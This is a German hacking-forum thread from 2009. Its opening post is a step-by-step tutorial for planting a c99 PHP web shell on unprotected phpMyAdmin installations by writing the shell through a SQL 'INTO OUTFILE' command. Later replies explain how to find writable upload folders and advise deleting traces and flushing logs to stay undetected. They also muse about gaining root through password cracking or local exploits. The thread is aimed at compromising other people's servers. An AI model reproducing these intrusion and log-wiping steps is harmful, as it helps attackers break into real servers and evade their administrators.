#1 5. Mai 2009 Auf PMA-UNIX unsecured eine Shell erstellen: Benötigt: • Ein Result in dieser Form: “http://123.123.123.123/phpMyAdmin/index.php - UNIX - 244ms - /home/aaronber/www/htdocs/mysql/libraries/" • Browser (und Internet^^) • Code einer Shell Interpretieren des Results: • http://123.123.123.123/phpMyAdmin/index.php --> die Adresse zum connecten • UNIX --> Auf dem Server laufendes System • 244ms --> Zeit die der Server für eine Antwort brauchte • /home/aaronber/www/htdocs/mysql/libraries/ ein Beispiel für einen Pfad auf dem man genügend Rechte hat Vorgang: 1.) Wir connecten mit dem Browser auf http://123.123.123.123/phpMyAdmin/index.php 2.) Wir erstellen eine neue Datenbank mit dem Namen (z.B) „test“ 3.) In dieser Datenbank erstellen wir eine Tabelle mit dem Namen (z.B) „test“ und mit einem Feld 4.) Dann benennen wir das Feld mit „test“; Unter Typ stellen wir text ein, den Rest kann man so lassen --> Speichern 5.) Dann markieren wir diese Feld und drücken auf „Einfügen“ 6.) Dort fügen wir dann den Code unserer Shell ein. Hier ein Beispiel für eine c99-shell c99-shell 7.) Dann gehen wir auf SQL 8.) Dort fügen wir folgenden Befehl ein: Code: SELECT * FROM 'test' INTO OUTFILE '/home/aaronber/www/htdocs/mysql/libraries/shell.php' Sollten ein Fehler auftreten beim ausführen des SQL-Befehls ist hier ein Fehlerliste: Fehlerliste mfg daydreamer PS: Falls ihr Verbesserungsvorschläge habt oder Kritik oder Kommentare ... PN me!! + Multi-Zitat Zitieren
#2 5. Mai 2009 AW: Auf PMA-UNIX unsecured eine Shell erstellen also vom prinzip her ist das nicht so ganz falsch aber du hast den fakt auser acht gelassen, dass es sich hierbei um LINUX handelt und nicht um Windows Linux ist da etwas besser gegen gerüstet als windows bei windows wird apache als administrator installiert und mysql ebenso wenn man da so nen pma findet haste schreibrechte überall auf der HDD was bei linux jedoch nicht so ist. linux installieren die meisten admins apache mit apt-get install apache2 (oder wie das pack da heißt, weiß ich grad nich auswendig) es wird automatisch ein neuer user angelegt der www-data heißt homedir von apache ist meist irgendwo in /usr/www oder so mysql wird ebenfalls mit apt-get install mysql5 (wieder so ähnlich, packname und so^^) installiert und installiert sich automatisch unter dem user mysql wie du schon merkst gibt es nun 2 verschiedene user und pma ist eine schnittstelle zwischen apache/php und mysql dennoch greifst du (wenn auch als user root) auf die mysql datenbank zu und bist somit user mysql und user mysql hat keine schreibrechte in ordner die www-data gehören. das ist jedenfalls der standard klar gibt es hin und wieder mal schreibrechte für mysql im webdir das ist jedoch ziemlich selten von daher ist dein tut nicht ganz falsch, aber auf unix wirklich schlecht anwendbar dennoch danke fürs tut btw. wenn du neue tabellen oder gar datenbanken anlegst, nicht vergessen die nachher wieder zu löschen wir wollen doch unerkannt bleiben oder ahja und flushlogs natürlich auch ganz wichtig dennoch danke für das tut + Multi-Zitat Zitieren
#3 5. Mai 2009 AW: Auf PMA-UNIX unsecured eine Shell erstellen Sehe ich es falsch oder sollte man die Shell dann auch von außen erreichen können? Ich meine es bringt doch wenig ne .php Shell in ein dir zu klatschen, was net im Web ist. Man bräuchte also da man ja über MySQL zugreift ne Art "Unix-Reverse-Shell", die man wie bei Windows (dort halt als .dll) im dafür vorgesehendem Dir ableht und dann als UDF läd ? PS: So kann man jedes Betriebssystem shellen. //Ok, das kann man wohl abhaken, wie Homie mir gerade erklärt hat. War ja auch nur so ne Idee ^^ + Multi-Zitat Zitieren
#4 7. Mai 2009 AW: Auf PMA-UNIX unsecured eine Shell erstellen Erstmal vielen Dank für eure Kritiken und Meinungen!! Ich möchte jetzt auch mal was dazu sagen ... ich habe dieses Tut geschrieben, kurz nachdem man mir dies erklärt hat!! Dadurch wollte ich eig nur Einsteiger helfen ... da häufig bei Tutorials schon ein gewissen Vorwissen um diese zu verstehen ... ich hoffe bei diesem hier ist das nicht der Fall!! mfg daydreamer + Multi-Zitat Zitieren
#5 12. Mai 2009 AW: Auf PMA-UNIX unsecured eine Shell erstellen /home/aaronber/www/htdocs/mysql/libraries/ ein solcher path wird in den wenigsten fällen write rechte haben d.h. man muss sich einen anderen path suchen der write rechte hat alle dirs die der root erstellt haben nur einfach read rechte für www-data doch es gibt durchaus dirs die von seiten eines admins upload rechte für www-data benötigen z.b. /home/aaronber/www/htdocs/forum/user_upload/ nur muss man die erstmal finden + Multi-Zitat Zitieren
#6 16. Mai 2009 AW: Auf PMA-UNIX unsecured eine Shell erstellen hmm nen pma steht meistens hinter einer webpage sieht man halt an den dbs . so wie bekommt man jetzt nen write able dir raus ? ansich sehr simple^^ wenn man bischen drüber nachdenkt muss man doch nur gucken was die webpage so macht haben wir zb ne schöne cms mit avataren bei oder sowas gucken wir uns einfach fix den pfad der bilder an nur ma so als beispiel gibt noch viele andere möglichkeiten aber will jetzt net zu viel verraten + Multi-Zitat Zitieren
#7 22. Mai 2009 AW: Auf PMA-UNIX unsecured eine Shell erstellen Was ich nur noch nicht so richtig verstehe, wenn man die shell hat, wie kommt man dann an die Root-rechte. Weil mit einem Standard mysql bzw. www-data account sollte das eigentlich nicht möglich sein, wenn der Admin etwas Ahnung hat. Um an die Rechte zu kommen müsste man doch schon entweder mit bruteforce versuchen den md5 hash des root-passwortes zu knacken oder ansonsten über ein local-root-exploit versuchen die rechte zu erlangen. Oder gibt es da noch ne trivialere Möglichkeit, weil mir gerade nichts anderes einfällt. bye + Multi-Zitat Zitieren